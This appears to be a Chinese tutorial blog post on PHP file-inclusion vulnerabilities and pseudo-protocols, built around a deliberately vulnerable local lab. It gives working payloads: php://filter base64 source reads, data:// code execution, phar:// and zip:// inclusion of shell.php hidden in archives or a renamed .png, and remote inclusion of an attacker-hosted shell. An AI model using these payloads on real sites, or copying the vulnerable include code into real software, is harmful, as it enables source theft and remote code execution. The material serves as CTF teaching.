WEB 文件包含 /伪协议

这篇具有很好参考价值的文章主要介绍了WEB 文件包含 /伪协议。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

首先谈谈什么是文件包含

WEB入门——文件包含漏洞与PHP伪协议_文件包含php伪协议_HasntStartIsOver的博客-CSDN博客

文件包含

程序员在编写的时候 可能写了自己的 函数 
如果想多次调用 那么就需要 重新写在源代码中
太过于麻烦了


只需要写入 funcation.php

然后在需要引用的地方 利用include funcation.php 函数
就可以调用  function.php的代码


但是如果 网站开发人员 把 include  中的php 作为一个变量

那么普通用户也可以通过传参 来访问 这个文件

就造成了 文件包含漏洞

例如 


$a=$_GET['a'];
include $_GET['a'];


这样就对上传的东西 没有控制 那么就可以访问文件了

我们来本地搭建一个环境看看

一个flag  一个test

WEB 文件包含 /伪协议,WEB,伪协议

<?php 

highlight_file(__FILE__);

if(isset($_GET['file'])) {
    $str = $_GET['file'];

    include $_GET['file'];
}

WEB 文件包含 /伪协议,WEB,伪协议

 这里就存在漏洞 因为对我们的传参没有限制 我们就可以访问文件了

?file=./flag.txt   ./ 表示当前目录

 WEB 文件包含 /伪协议,WEB,伪协议

 这样就访问了 flag文件

这就是最简单的文件包含漏洞

这里给出常见的文件包含的函数

 include

include()
当文件读取到 include()的时候 才把文件包含进来 并且发生错误会发出警告 但是还是会继续执行

 include_once

include_once()
一样的 但是 如果文件已经被包含一次
那么就不会再被包含

区别

WEB 文件包含 /伪协议,WEB,伪协议

WEB 文件包含 /伪协议,WEB,伪协议

如果包含了一次第二次就不会执行了

require

require() 
和inculde 作用一样 但是如果出错了 就会终止 停止执行

WEB 文件包含 /伪协议,WEB,伪协议

 require_once

require_once()
一样的 包含两次的话就不会执行了

 区别

和上面一样

highlight_file、show_source

highlight_file()   、show_source()

对文件进行高亮显示  通常可以看到源代码

WEB 文件包含 /伪协议,WEB,伪协议

 WEB 文件包含 /伪协议,WEB,伪协议

 readfile、file_get_contents

readfile()  file_get_contents()

读取文件 送入缓冲区
注意这里会直接解析 php 文件


file_get_contents()
是读取文件作为一个字符串

p

 WEB 文件包含 /伪协议,WEB,伪协议

 WEB 文件包含 /伪协议,WEB,伪协议

 乱码是因为我没有设置解析

fopen

fopen()

打开一个文件或者 url

这里就是文件包含常见的函数

这里我们再给出分类

文件包含漏洞的分类

本地文件包含

被包含的文件在本地服务器中 那么就是本地文件包含

远程文件包含

php.ini中的 all_url_fopen和include 打开的话 就会远程文件包含

WEB 文件包含 /伪协议,WEB,伪协议

远程文件包含就是

两个服务器
一个是本地服务器
一个是攻击者的


攻击者的web 根目录中写入 shell
那么


127.0.0.1/test.php?file=服务器的id/shell


这样就可以访问到shell 

接下来我们解释 伪协议

伪协议

首先给出常见的 伪协议

file://  协议

file://[文件的绝对路径和文件名]
访问本地文件
?file=file:///d:\phpstudy_pro\WWW\flag.txt

WEB 文件包含 /伪协议,WEB,伪协议

 php:// 协议

php协议有很多

这里给出常用的

php://filter: 用于读源码


php://input: 用于执行php代码

php://filter

这在ctf中 很多都是使用 这个 就可以读取源代码

?file=php://filter/resource=flag.txt
无过滤的读取  直接返回全部

?file=php://filter/read=string.toupper/resource=flag.txt

通过设置read的值 来返回读取的内容



?file=php://filter/convert.base64-encode/resource=flag.txt

通过base64加密后 flag的内容

?file=php://filter/read=string.toupper|convert.base64-encode/resource=flag.txt

通过 大写 并且 base64加密

php://input

需要 allow_url_include 为on

<?php
$user = $_GET["user"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="123123")){
    echo "hello admin!<br>";
}else{
    echo "you are not admin ! ";
}
?>

WEB 文件包含 /伪协议,WEB,伪协议

 这里我们就向user 传入了 123123的内容

data://  协议

条件是  双on (fopen/include)

该协议 可以将 php代码 通过 协议发送并且执行
 用法
?file=data://text/plain,<?php phpinfo()?>



?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=


base64加密后

WEB 文件包含 /伪协议,WEB,伪协议

 phar://协议

这个伪协议可以访问 解压包中的文件的内容

phar://[解压包路径/被解压文件名称]

我们首先创建一个 shell.zip

里面是 shell.php 内容为 <?php echo 'hello';?>

 然后来访问

?file=phar://./shell.zip/shell.php

WEB 文件包含 /伪协议,WEB,伪协议

 注意 这个协议无视后缀名

shell.zip 该为 shell.png

?file=phar://./shell.png/shell.php

依旧可以访问

zip:// 协议

和phar协议类似 但是需要的是绝对路径

并且 访问压缩包下的内容和压缩包需要用%23(#的url编码)隔开

?file=zip://../WWW/shell.zip%23shell.php

到这里 常见的伪协议就结束了文章来源地址https://www.toymoban.com/news/detail-620217.html

到了这里,关于WEB 文件包含 /伪协议的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【每天学习一点新知识】文件包含常用之伪协议

    以下举例一些比较常用的伪协议及用法 可以用于执行php代码,通过post请求提交我们的代码 这里给一个攻防世界 Web_php_include 的例子 $page=str_replace(\\\"php://\\\", \\\"\\\", $page);这里把page参数里的php://替换成了空格,我们需要绕过它 用php://input执行ls命令查看文件,php用大小写来绕过 结果如

    2024年02月13日
    浏览(13)
  • Web漏洞-文件包含漏洞超详细全解(附实例)

    目录 一、导图 二、文件包含漏洞 1.脚本代码 2.原理演示 3.漏洞成因 4.检测方法 5.类型分类 三、本地文件包含漏洞的利用 无限制本地文件包含 有限制本地文件包含 四、远程文件包含漏洞的利用 无限制远程文件包含 有限制远程文件包含 五、协议的玩法 读取文件内容 执行代

    2023年04月25日
    浏览(10)
  • Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)

    文件包含的漏洞是  程序员在开发网站的时候,为了方便自己开发构架,使用了一些包含的函数(比如:php开发语言,include() , include_once() , require_once() 等等 ),而且包含函数中的变量,没有做一些过滤或者限制,使得用户可以 控制传到服务器中的数据,导致文件包含漏洞

    2024年02月08日
    浏览(30)
  • 【Web】CTFSHOW PHP文件包含刷题记录(全)

    温故知新。 目录 web78 web79 web80 web81 web82 web83 web84 web85 web86 web87 web88 伪协议base64编码直接读出文件内容就行 一眼data伪协议包含php脚本 data也被禁了,日志包含即可 多禁了一个\\\":\\\",还是可以日志包含 连\\\".\\\"都被禁用了,/tmp/sess_xxx是不带点的,尝试多线程条件竞争包含临时目录下

    2024年02月02日
    浏览(11)
  • 【漏洞复现】Aapache_Tomcat_AJP协议_文件包含漏洞(CVE-2020-1938)

    感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规 说明 内容 漏洞编号 CVE-2020-1938 漏洞名称 Aapache_Tomcat_AJP文件包含漏洞 漏洞评级 高危 影响范围 Tomcat 9.0.30 漏洞描述 由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomca

    2024年02月05日
    浏览(18)
  • TCP 协议(包含三次握手,四次挥手)

    确认应答是可靠传输的最核心机制 接收方反馈一个应答报文(ACK),表示已收到 假设现在 A 想去 B 家里玩游戏,于是 A 给 B 发消息,若消息没有出现错误且顺序正确 结果如下所示: 但网络传输比较复杂,可能存在一种情况\\\"后发先至\\\" 由于数据的长度不同或者传输网络不同,先发

    2024年02月02日
    浏览(14)
  • 【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell

    我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件 目标主机文件存在(目标文件的路径、绝对路径、相对路径) 具有文件可读权限 提交参数 http://localhost/include/include.php?path=C:windowssystem32driversetchosts ,读取本地host文件 提交参数 http://localhost/include/includ

    2024年02月11日
    浏览(17)
  • 网络流量分析详解(包含OSI七层模型、TCP协议及Wireshark工具用法)

    这个系列讲的是整个网络流量分析流程,其中包含TCP协议、HTTP协议详解和Wireshark、Tcpdump的详细用法,现在只完成了其中一部分内容,每周更新,感兴趣的可以持续关注一下~ 内容比较杂,直接用 Ctrl+F 找自己需要的就可以 ​ 网络流量分析(NTA)可以描述为检查网络流量以表征所

    2023年04月12日
    浏览(34)
  • ETHERNET/IP转TCP/IP网关tcp/ip协议包含哪几层

    大家好,今天我们将带大家了解一款自主研发的通讯网关,远创智控YC-EIP-TCP/IP。这是一个强大的工具,能帮助我们将ETHERNET/IP网络和TCP/IP网络连接在一起,让我们更好地管理和监控网络。 1, 首先,让我们来看看这款网关的主要功能。它能够将ETHERNET/IP网络和TCP/IP网络连接起来

    2024年02月16日
    浏览(23)
  • 文件包含之SMB文件共享

    文章目录 前言 一、SMB是什么? 二、使用步骤 1.在服务器上搭建SMB服务 2.在网站下利用文件包含语句访问我们的共享文件的恶意文 总结 当我们利用文件包含漏洞的时候,对方服务器的 allow_url_include 和 allow_url_fopen 设置为 off时,我们绕过的姿势基本上被防住了,这时,我们可

    2024年02月13日
    浏览(13)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包